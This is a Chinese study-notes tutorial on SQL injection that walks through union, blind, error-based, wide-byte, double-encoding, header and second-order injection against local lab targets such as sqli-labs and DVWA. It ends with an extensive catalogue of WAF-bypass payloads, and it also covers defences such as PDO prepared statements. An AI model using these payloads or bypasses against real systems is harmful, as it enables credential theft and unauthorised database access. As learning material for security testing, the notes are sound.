(本文僅為平時學習記錄,若有錯誤請大佬指出,如果本文能幫到你那我也是很開心啦)
一、介紹
1.SQL注入漏洞的本質:后端代碼再執行過程中,將用戶輸入的數據也當作代碼來執行,違背代碼和數據相分離原則
2.注入的原因:前端傳遞的參數可以隨意控制,參數可控;后端對前端傳遞過來的數據沒有過濾,或過濾不嚴謹,最終導致SQL注入
3.SQL注入漏洞有兩個關鍵條件:
- 用戶能控制輸入的內容
- Web應用把用戶輸入的內容帶入到數據庫中執行
4.危害:數據泄露、脫庫、篡改網站、破壞數據庫、植入后門、getshell等等
5.分類:
- 請求方式:get post cookie
- 參數形式:整型 字符型 搜索
- 反饋類型:報錯 union 布爾(時間或頁面顯示狀態) 延時
- 數據庫類型:access mssql mysql oracle nosql等等
- 利用技術:布爾 報錯 內聯 堆疊 時間 聯合
6.防御:
- GPC/RUNTIME魔術引號(PHP擴展)
1 GPC(magic_quotes_gpc):對接受到用戶瀏覽器的數據中的特殊字符進行過濾,轉義;只負責對GET,POST,COOKIE的值進行過濾 2 RUNTIM(magic_quotes_runtime):對從數據庫或者文件中獲取的數據進行過濾
- 使用具有過濾功能的函數和類
1 函數: 2 addslashes函數 3 mysql[real]escape_string函數 4 intval等字符轉換 5 編譯語句來綁定變量(mysqli擴展與pdo擴展連接數據庫操作)類:PDO
- 設計輸入驗證和處理策略:使用WAF
- 其他防護方案
1 領域驅動的安全性:通過將數據封裝到有效值對象中,並限制對原始數據的訪問 2 編碼輸出
二、常用的數據庫函數以及常量
1 @@tmpdir 查看臨時目錄 2 @@datadir 數據存放的位置 3 @@basedir 數據庫服務所在位置 4 @@version 查看版本號 5 @@hostname 查看當前用戶名 6 ascii() 返回字符串str的最左字符的數值 7 user() 獲取登陸用戶名 8 version() 獲取當前版本號 9 database() 獲取當前數據庫 10 concat() 將多個字符串連接成一個字符串 11 group_concat() 將group by產生的同一個分組中的值連接起來,返回一個字符串結果 12 concat_ws() 將多個字符串連接成一個字符串 13 sleep() 休眠 14 ord() 顯示字符的ASCII 15 length() 計算字符串長度 16 17 截取字符串: 18 substr() oracle mysql mssql 19 substring() MySQL mssql 20 mid() mysql 21 注:均有三個參數,第一個是被截取的字符,第二個是開始索引,第三個是截取的長度 22 left(pa1,pa2) pa1是被截取的字符串,從左開始截取,pa2是截取的位數 23 right(pa1,pa2) pa1是被截取的字符串,從右開始截取,pa2是截取的位數 24 25 條件判斷: 26 if(條件,條件為真時的返回值或語句,條件為假時的返回值或語句) 27 case when 條件 then 條件為真時的返回值或語句 else 條件為假時的返回值或語句 end 28 如:select 1,case when 1=1 then ‘hello’ else ‘goodbye’ end,3 --+ 29 30 聯合查詢 31 select * from users where id=1 union select “a”,”b”,”c”; 32 select * from users where id=0.01 union selcet 1,2,user(),4,@@databases;
三、MySQL數據庫:一庫一表三字段
1.一庫:information_schema庫 存放系統庫,匯總(其他數據庫的庫名、表名、字段名)
2.一表:columns表 存放數據(庫名、表名、字段名)
3.三字段:
- table_schema字段 存放其他數據庫的庫名
- table_name字段 存放其他數據庫的表名
- column_name字段 存放其他數據庫的字段名
1 select table_schema table_name column_name from information_schema.columns; 查詢三字段所對應的數據 2 select table_schema table_name column_name from information_schema.columns where table_schema=”dvwa”; 有條件的查詢 3 select table_schema table_name column_name from information_schema.columns where table_schema=0x64767761; 將dvwa轉為16進制
注:MySQL的版本號需要>5.0
四、手工注入
- 測試使用搭建的jdy1.5網站,也可使用DVWA里面的SQL Injection模塊
1.檢測注入點:即可能存在SQL注入的地方,找到有類似id(id/uid/key、typeid/sid等等)的參數,后面需要輸入一些檢測的惡意代碼(payload):' 或 'and 1=1# 或 'and 1=2-- 或 -1' or '1'='1'等等
- 需不需要單引號,是由后端拼接的SQL語句決定的,如(%23是#的URL編碼):
1 SELECT * FROM users WHERE id='$id' LIMIT 0,1
2 前端測試: id=1’ and 1=1%23
3 SELECT * FROM users WHERE id=$id LIMIT 0,1
4 前端測試:id=1 and 1=1%23
- 輸入的惡意代碼被成功執行(根據頁面顯示效果以及報錯信息等來判斷),說明此處有SQL注入點
- 接下來還要判斷注入的方式:根據頁面的回顯效果來決定使用哪種注入技術
- 判斷從后台數據庫中選擇的列數以及哪幾列在前端顯示
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=1 order by 6#
- 更換數字,根據頁面顯示效果判斷后台數據庫選擇的列數,5列(信息收集)
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,2,3,4,5%23
- 根據頁面顯示效果可知在2的位置顯示到前端,即可將2替換為SQL語句
2.收集后台數據庫信息:
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,user(),3,4,5%23 查看當前用戶 2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,database(),3,4,5%23 查看當前數據庫 3 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23
4 distinct 去重 5 group_concat 分組並拼接 6 空格可以用+代替
3.獲取當前數據庫下的數據表:
http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=database()),3,4,5%23
4.獲取當前數據庫下指定表下的字段名:
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=’jdy_admin’),3,4,5%23
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e),3,4,5%23
- 一般需要找后台或敏感的數據表,0x6a6479636d73是‘jdycms’的16進制轉碼
5.獲取字段數據:
1 select concat(username,0x7e,password)from jdy_admin limit 0,1; 2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select concat(username,0x7e,password)from jdy_admin limit 0,1),3,4,5%23
6.解密:使用cmd5、pmd5等等
7.找后台登錄:可以猜、目錄掃描或信息收集等等
步驟總結:
1.檢測注入點
2.收集后台數據庫信息
3.獲取當前數據庫下的數據表
4.獲取當前數據庫下指定表下的字段名
5.獲取字段數據
6.解密
7.找后台登錄
五、盲注
盲注:用戶提交的數據在后台數據庫中執行之后,沒有返回任何數據,無法在前端顯示測試出的數據,需要使用盲注技術
類型:基於布爾的盲注、基於時間的盲注
六、盲注過程
- 可以使用DVWA中的SQL Injection (Blind)模塊或者sqli-labs(學習SQL注入的一個闖關游戲)第8關
- (搭建sqli-labs可以參考https://www.cnblogs.com/carlos-mm/p/8388351.html很詳細,感謝!!!)
1. 判斷注入點
1 http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and 1=1%23 2 http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and 1=1%23
2.判斷后台選擇列數
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' order by 4%23
3.沒有將結果顯示到前端,即下一行代碼沒有作用,就需要使用盲注
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' union select 1,2,3%23
4.收集數據庫信息
七、基於布爾的盲注
- 測試使用sqli-labs第8關
1.探測注入點,使用'或1' and 1=1%23或1' and '1'=1或1' and 1=1#等等
(注:用戶提交的數據被帶入到后台數據庫中執行,根據頁面顯示效果判斷此處是否存在注入點)
2.收集數據庫信息(當前用戶名、當前數據庫、版本、所以數據庫等等)
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and length(user())=14%23
3.使用BP快速收集,操作步驟如下圖所示
- 首先爆破用戶名、數據庫以及版本的字段長度,使用函數length()
- 抓包
-
- 選擇爆破的項
-
- 為第一個項設置字典
-
- 為第二個項設置字典
-
- 添加查找關鍵字
-
- 開始爆破
- 爆破用戶名及當前數據庫名,使用函數ascii()
- 網頁瀏覽下面的地址,判斷出用戶名首字母是r,后續依次去判斷
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(user(),1,1))=114%23
-
- 抓包
-
- 選擇要爆破的項
-
- 分別為第一個項和第二個項設置Payloads options有效載荷選項
-
- 開始爆破,爆破結果對照ASCII碼表進行查找,即可得出所有用戶名
-
- 爆破當前所在數據庫名,則要爆破的項
-
- 分別為第一個項和第二個項設置Payloads options有效載荷選項
-
- 根據爆破結果對照ASCII碼表進行查找,得出當前數據庫為security
4.查詢當前數據庫中的表
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=101%23
- 先計算某個表名字的長度,然后再判斷每個字符,最終找到有價值的表名:users
5.獲取指定表中字段名
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select distinct column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 0,1),1,1))=105%23 //0x7573657273是users的16進制
- 字段名首字母是i,后續依次去判斷第一個字段名、第二個字段名等等,最后找出敏感的字段:username、password
6.獲取指定字段的數據
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select concat(username,0x7e,password)from users limit 0,1),1,1))=68%23 //0x7e是~的16進制
7.解密密文數據,登錄后台
八、基於報錯的注入
1.報錯的含義:利用報錯的函數構造測試的payload,數據庫執行之后會報錯,並將我們需要的數據帶出來,達到攻擊的目的
2.常用的報錯函數:floor()、extractvalue()、updatexml()等等
3.floor();
- 報錯本質:創建虛擬表格時,執行主鍵查詢兩次出錯
-
必須和count()(計數)、rand()(產生0-1之間的隨機小數,若給了參數(種子),就會根據該種子產生固定的值)、group by()(排序)等函數配合使用(能夠達到相同目的的函數都可以替換去使用)
select concat(user(),floor(rand(0)*2));
select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x;
- 錯誤1022(23000):無法寫入;表“C:\\用戶\\管理\\應用程序數據\\本地\\臨時\\ sql6abc_14e_0”中存在重復鍵
- 解決方法:更換MySQL版本
- 別名:
select 1 from dvwa.users a;
4.extractvalue(參數1,參數2);
- 作用:操作XML文件,從目標XML文件中返回查詢到的字符串
- 參數1是string格式的XML文檔名,參數2是xpath格式的字符串(需要查詢的)
select extractvalue(1,concat(0x7e,(select user()),0x7e));
select extractvalue(1,concat((select user()),0x7e));
2.updatexml(參數1,參數2,參數3);
- 作用:更改XML文檔中符合條件的節點的值
- 參數1 是XML文檔,參數2是xpath格式的字符串,參數3是string格式的替換查找符合條件的數據
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
select * from dvwa.users where user_id=1 limit 0,1;
select updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from dvwa.users where user_id=1 limit 0,1),0x7e),1);
select concat(user,0x7e,password) from dvwa.users where user_id=1 limit 0,1)
注:后兩者報錯的長度有限制是32位
九、報錯注入步驟
- 測試使用sqli-labs第五關
1.測試注入點
2.獲取當前數據庫信息
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e));%23+
3.獲取當前數據庫表名(下面的步驟只需替換代碼中的紅字部分即可)
4.獲取指定表中的字段
5.獲取內容
6.解密,登錄系統
十、寬字節注入
1.原理:使用PHP連接MySQL的時候,當設置set character_set_client=gbk時會導致一個編碼轉換注入問題,也就是寬字節注入。當存在寬字節注入漏洞時,在注入的參數里加入%df%27,即可把程序中過濾的"\"(即%5c)“吃掉”
- GBK編碼:針對漢字的一種編碼方式,使用2個字節編碼1個漢字,用16位表示1個漢字
2.常用函數:
- mysql_query("SET NAMES 'gbk'");//設置字符集編碼,對數據庫執行之后的結果進行某種編碼(GBK)然后傳遞給用戶,返回GBK編碼的查詢結果
- mysql_set_charset("GBK");//方便MySQL字符集設置編碼,設置字符集編碼,規定當與數據庫服務器進行數據傳送時要使用默認字符集
- mysql_real_escape_string();//對參數進行過濾轉義,具有相似功能的函數還有:addslaches()、mysql_escape_string()(PHP5.3以及之后的版本被廢除)、魔術引號(magic-quotes_gpc模塊)等,針對特殊符號’ “ \ null < >等進行轉義
十一、寬字節注入過程
- 測試使用自己搭建的gbksql站點

1 <?php 2 //連接數據庫部分,注意使用了gbk編碼 3 $conn = @mysql_connect('localhost', 'root', 'root') or die('bad!'); 4 mysql_query("SET NAMES 'gbk'");//設置字符集編碼,對數據庫執行之后的結果進行某種編碼(GBK)然后傳遞給用戶,返回GBK編碼的查詢結果 5 //mysql_set_charset("GBK");//方便MySQL字符集設置編碼,設置字符集編碼,規定當與數據庫服務器進行數據傳送時要使用默認字符集 6 mysql_select_db('test', $conn) OR emMsg("連接數據庫失敗,未找到您填寫的數據庫"); 7 //執行sql語句 8 //$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1; 9 $id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;//對參數進行過濾轉義 10 $sql = "SELECT * FROM news WHERE tid='{$id}'"; 11 echo $sql."<br/>"; 12 $result = mysql_query($sql, $conn) or die(mysql_error()); 13 ?> 14 <!DOCTYPE html> 15 <html> 16 <head> 17 <title>新聞</title> 18 </head> 19 <body> 20 <?php 21 $row = mysql_fetch_array($result, MYSQL_ASSOC); 22 echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n"; 23 mysql_free_result($result); 24 ?> 25 </body> 26 </html>
1.檢測注入點:
- 訪問站點http://127.0.0.1/gbksql/01/?id=1'
-
- 執行結果不受影響
- 在http://127.0.0.1/gbksql/01/?id=1'后面加上%df(只要高位在81~fe之間的都可以使用),為http://127.0.0.1/gbksql/01/?id=1%df'
- 這里的1%df -經過過濾轉義-> 1%df\' -經過GBK編碼-> 1%df5c' => 1運' 數據庫報錯,多一個單引號
1 后端本身代碼:$sql = "SELECT * FROM news WHERE tid='$id'"; 2 前端輸入1%df'后,后端執行的代碼:$sql = "SELECT * FROM news WHERE tid=' 1運' ' "; --> 報錯,這就是注入點
2.判斷列數:http://127.0.0.1/gbksql/01/?id=1%df' order by 3%23
3.信息收集:http://127.0.0.1/gbksql/01/?id=-1%df' union select 1,2,3%23
4.后面的步驟將2,3其中一個替換為SQL語句即可
-
測試使用sqli-labs第32關
1.判斷注入點:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'
- 可以看到前端的報錯信息中顯示亂碼\,一般為寬字節注入
2.判斷列數:http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 3%23
3.信息收集:http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,3%23
4.獲取數據庫信息:
- http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,user(),3%23
- http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,database(),3%23
十二、防御寬字節注入
1.方法:
- 使用mysql_set_charset(“GBK”)設置編碼,然后使用mysql_real_escape_string()進行轉義
- 使用PDO方式,在PHP 5.3.6及以下版本中需要設置setAttribute(PDO::ATTR_EMULATE_PREPARES,false); 禁用preparcd statements 的仿真效果
2.PDO的使用過程:連接數據庫 --> 設置模板 --> 綁定數據 --> 執行SQL語句
1 <?php 2 $dbh = new PDO("mysql:host=localhost;dbname=demo","user","pass");//連接數據庫 3 $dbh -> exec("set names 'GBK'"); 4 $sql = "select * from test where name = ? and password = ?";//設置模板 5 $stmt = $stmt -> execute(array($name,$pass)); 6 ?>
3.PDO防止SQL注入方法:
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
- setAttribute()這一行是強制性的,它會告訴 PDO 禁用模擬預處理語句,並使用real parepared statements,確保了SQL語句和相應的值在傳遞到mysql服務器之前是不會被PHP解析的(禁止了所有可能的惡意SQL注入攻擊)
4.PDO防止SQL注入原理:當調用 prepare() 時,查詢語句已經發送給了數據庫服務器,此時只有占位符?發送過去,沒有用戶提交的數據;當調用到 execute()時,用戶提交過來的值才會傳送給數據庫,他們是分開傳送的,兩者獨立的
https://www.jianshu.com/p/c0deb8061718文章,十分詳細,感謝!!!)
十三、二次編碼注入
1.原理:當提交參數到WebServer時,WebServer會自動解碼生成單引號而引發注入;瀏覽器會對from表單中的數據進行一次URL編碼,到達服務器之后會默認解碼
2.編碼問題:URL編碼是一種瀏覽器用來打包表單輸出的格式,URL編碼就是一個字符ASCII碼的16進制,不過稍微有些變動,需要在前面加上“%”,比如“\”,它的ASCII碼是92,92的十六進制是5c,所以“\”的url編碼就是%5c
3.PHP中URL解碼函數:urlsecode()、rawurldecode()
- 注:默認的GET和POST請求,PHP會先解碼一次
4.測試使用代碼:
1 <?php 2 echo "<meta charset='utf-8'>"; 3 $id = $_GET[ 'id' ]; 4 echo "第一次解碼:".$id."<br/>"; 5 $id = addslashes($id);//過濾 6 $id = urldecode($id); 7 echo "第二次解碼:".$id."<br/>"; 8 //$id = rawurldecode($id); 9 $sql = "select * from users where user_id='$id'"; 10 echo($sql)."<br>"; 11 $conn=mysqli_connect("localhost","root","root","dvwa"); 12 $re=mysqli_query($conn,$sql); 13 if (mysqli_num_rows($re)>0) { 14 $row=mysqli_fetch_assoc($re); 15 echo $row["first_name"]."<br>"; 16 echo $row["last_name"]."<br>"; 17 } 18 19 mysqli_close($conn); 20 ?>
5.注入主要過程:
-
檢測注入點:http://localhost/gbksql/test.php?id=1%2527
-
判斷列數:http://localhost/gbksql/test.php?id=1%2527 order by 8%23
十四、HTTP頭部注入
1.HTTP頭部部分參數詳解:
- User-Agent:瀏覽器向服務器表明自己的身份,使得服務器能夠識別客戶使用的操作系統,游覽器版本等
- Cookie:網站為了辨別用戶身份、進行 session 跟蹤而儲存在用戶本地終端上的數據(通常經過加密)
- X-Forwarded-For:簡稱XFF頭,它代表客戶端,也就是HTTP的請求端真實的IP,(通常一些網站的防注入功能會記錄請求端真實IP地址並寫入數據庫or某文件[通過修改XXF頭可以實現偽造IP])
- Rerferer:瀏覽器向 WEB 服務器表明自己是從哪個頁面鏈接過來的
- Host:客戶端指定自己想訪問的WEB服務器的域名/IP 地址和端口號
2.注入主要過程:
- 測試使用sqli-labs第18關
- 主要代碼:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
- 測試注入點:
- 抓包,修改User-Agent為User-Agent: test'(通過頁面顯示效果得知),此時后端代碼就會變成下面的代碼
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('test'', '$IP', $uname)";
-
- 修改User-Agent為User-Agent: test','1','2') %23,此時后端代碼就會變成下面的代碼
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (' test','1','2') %23', '$IP', $uname)";
-
-
根據回顯,修改User-Agent為User-Agent: test','1','2') #
-
-
- 查看是否將地址1和用戶名2寫入了后端數據庫中
-
- 如下圖所示已將地址1和用戶名2成功寫入后端數據庫
- 獲取數據庫信息
- 修改User-Agent為User-Agent: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1(根據回顯,使用報錯注入),此時后端代碼就會變成下面的代碼
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1', '$IP', $uname)";
-
- 修改User-Agent為User-Agent: 'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
十五、二次注入
1.原理:所謂二次注入是指已存儲(數據庫、文件)的用戶輸入被讀取后再次進入到 SQL 查詢語句中導致的注入。比普通SQL注入利用更加困難,利用門檻更高。普通注入數據直接進入到 SQL 查詢中,而二次注入則是輸入數據經處理后存儲,取出后,再次進入到 SQL 查詢
- 二次注入的主要過程就是:存入惡意數據、從后端取出惡意數據、利用惡意數據
2.分析sqli-labs第24關的主要代碼
- 存入惡意數據
- 前端用於存入數據的頁面
-
- 后端存入惡意數據的代碼(文件名為login_create.php):
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";//存數據
- 從后端取出惡意數據
- 后端取出惡意數據的代碼(login.php):
1 function sqllogin(){ 2 $username = mysql_real_escape_string($_POST["login_user"]); 3 $password = mysql_real_escape_string($_POST["login_password"]); 4 $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; 5 //$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'"; 6 $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( '); 7 $row = mysql_fetch_row($res); 8 //print_r($row) ; 9 if ($row[1]) { 10 return $row[1];//1對應的是用戶名,從數據庫中取數據 11 } else { 12 return 0; 13 } 14 15 }
- 利用惡意數據
- 前端用於利用數據的頁面
- 后端利用惡意數據的代碼(pass_change.php):
1 $username= $_SESSION["username"];//$username從session里拿出來的 2 $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";//可利用惡意數據的地方
3.注入sqli-labs第24關過程:
(本次注入目的是在密碼未知的情況下,使用二次注入更改已有用戶admin的密碼)
- 查看當前數據庫所有用戶信息
- 進入24關,點擊New User click here?,創建新用戶admin'#
- 進入數據庫查看當前所有用戶信息
- 登錄用戶admin'#
- 更改用戶admin'#的密碼為123.com
-
- 密碼更改成功
- 再次進入數據庫,查看當前所有用戶信息
- 可以看到用戶admin'#的密碼並沒有更改,更改的是admin的密碼
- 這里利用的是:更改密碼時,后端代碼變成下面的樣子,admin后面的#將后面的內容注釋掉,admin后面的'與前面的'閉合,所以更改的就是admin的密碼
$sql = "UPDATE users SET PASSWORD='$pass' where username=' admin'# ' and password='$curr_pass' ";
十六、SQL注入繞過WAF
1.WAF介紹:Web應用防護系統(也稱:網站應用級入侵防御系統。英文:Web Application Firewall,簡稱:WAF),也叫Web防火牆,主要是對Web特有入侵方式的加強防護,如DDOS防護、SQL注入、XML注入、XSS等
2.WAF分類:
- 代碼WAF:將規則寫在web代碼中,並去匹配,來過濾。
- 軟件WAF:監聽端口或以Web容器擴展方式進行請求檢測和阻斷
- 硬件WAF:專門硬件防護設備,代理流量,並做分析,再做是否轉發的處理
- 雲WAF:通過dns域名移交技術,將流量暫時發送到檢測中心節點,通過檢測后,再發送到真實服務上
3.WAF工作流程:
- 身份認證:白名單(白名單IP、白名單Cookie、白名單User-Agent、白名單Referer等等)
- 數據包解析:應用層WAF(如匹配id=data部分的數據)
- 規則匹配:根據不同的規則,有不同的繞過方法(進行黑盒測試,可進行代碼審計叫白盒測試)
4.繞過WAF:
- 大小寫(/正則大小寫/i,不區分大小寫,可過)
select * from users where id ='1 ' uNion SelEcT 1,2,3,4--+
- 關鍵字重復寫(針對檢測到某個關鍵詞,替換為空的情況)
select * from users where ID=1 ununionion selselectect 1,2,3,4%23
- 編碼
1 select * from users where id=2%2bunion%2bselect%2b1,2,3,4--+ //%2b是+的URL編碼 2 union ---> 0x756e696f6e20 3 select * from users where ID=1 %75nion select 1,2,3,4%23
-
- 編碼方式
- URL編碼:針對特殊情況可以兩次URL編碼
- 編碼方式
空格 |
%20 |
單引號 | %27 |
左括號 | %28 |
右括號 | %29 |
-
-
- 16進制編碼:針對某些數據,如:特殊字符、特殊字符串等等
- Unicode編碼:給所有的字符指定了一個數字用來表示該字符,通常用兩個字節表示一個字符,高位不足使用0填充
-
單引號 |
%u0027、%u02b9、%u02bc、%u02c8、%u2032、 %uff07、%c0%27、%c0%a7、%e0%80%a7 |
空格 | %u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0 |
左括號 | %u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8 |
右括號 | %u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9 |
-
-
- 二進制編碼
- 八進制編碼
-
- 內聯注釋
/* */或union/**/select/**/1,2,3%23
- 黑魔法
select{x user}from{x mysql.user};
- 換行符繞過
%23%0a %2d%2d%0a
- 等價函數替換
1 verion() @@version 2 mid substr substring 3 @@datadir datadir() 4 hex() bin() ascii() 5 sleep() benchmark() 6 user() @@user
- 等價符號替換
1 and & 2 or || 3 = ><
- 特殊符號
1 +、#、%23、--+、\\\\ 2 +:用於字符串連接 3 @符號:用戶自定義變量 4 @@符號:系統變量 5 select @&1.from dvwa.users; 6 select`version`();
- 內聯注釋加!
1 select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+ 2 select * from dvwa.users where user_id=1 /*!union*/ /**/ /*!select*/ /**/ 1,2,3,4,5,6,7,8;
- 緩沖區溢出(針對老版本的安全狗和WAF)
?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18
-
- 例子上的 0xA*1000 指的是0XA后面的 "A" 重復1000次,一般來說對應用軟件構成緩沖區溢出都需要比較大的測試長度,這里1000僅供參考,在一些情況下也可以更短
- MySql 特性繞過
1 = 等於 2 := 賦值 3 @ @+變量名可直接調用 4 select @test:=user();
- 隱私類型轉換
1 select 'a'=0;//返回值為1 2 select '1admin'=1;
- 分塊傳輸
- 參數污染
5.繞過解析
select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin
- 第一部分:
(1)內聯注釋
/**/ /*!50000union*/
(2)空白%09 %0a %0b %0c %0d %20
id=1%0bunion select 1,user() from admin
(3)浮點數形式 1.2 4.2
id=1.0union select 1,user() from admin
(4)1E0
id=1e0nuion select 1,user() from admin
(5)\
id=\Nunion select 1,user() from admin
- 第二部分:
(1)空白
(2)注釋符
/**/ /*123213*/
(3)括號
id=1 union(select 'test','1',(select user() from admin limit 0,1))
- 第三部分:
(1)空白
(2)注釋符號
(3)其他字符
1 ! %21 2 + %2b 3 - %2d 4 @ %40 5 ~ %7e 6 select * from admin where id=1 union select~1,user(),version()
(4)其他方式
1 括號 select * from admin where id=1 union select(1),user(),version() 2 內聯 select * from admin where id=1 union /*!50000select*/1,user(),version() 3 {} select * from admin where id=1 union select{x 1} user(),version() 4 " " select * from admin where id=1 union select"1" user(),version() 5 \N select * from admin where id=1 union select\N ,user(),version()
- 第四部分:
(1)空白
(2)注釋符
(3)浮點數、1E0 、\N
(4)其他符號
1 ` select * from admin where id=1 union select 1,2`from admin`; 2 “” select * from admin where id=1 union select 1,2"from admin"; 3 括號 1 union select 1,user(),(3)from dvwa.users# 4 內聯注釋符號
- 第五部分:
(1)空白
(2)注釋符號
(3)其他符號
1 內聯注釋符號 2 () 3 {} select * from admin where id=1 union select 1,2 from{x admin};